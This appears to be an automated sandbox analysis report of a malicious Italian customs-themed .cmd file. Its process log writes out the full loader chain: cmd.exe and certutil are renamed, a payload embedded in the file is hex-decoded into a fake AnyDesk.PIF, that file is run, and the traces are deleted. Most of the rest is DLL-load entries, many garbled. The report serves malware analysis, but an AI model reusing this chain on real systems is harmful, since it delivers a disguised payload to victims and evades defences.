Windows Analysis Report
Documentazione_Doganale_richieste_di_copia.cmd

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7416:120:WilError_03

Source: C:\Users\Public\Libraries\AnyDesk.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Windows\System32\extrac32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIF
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIF	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: url.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ?p .dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ???p.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
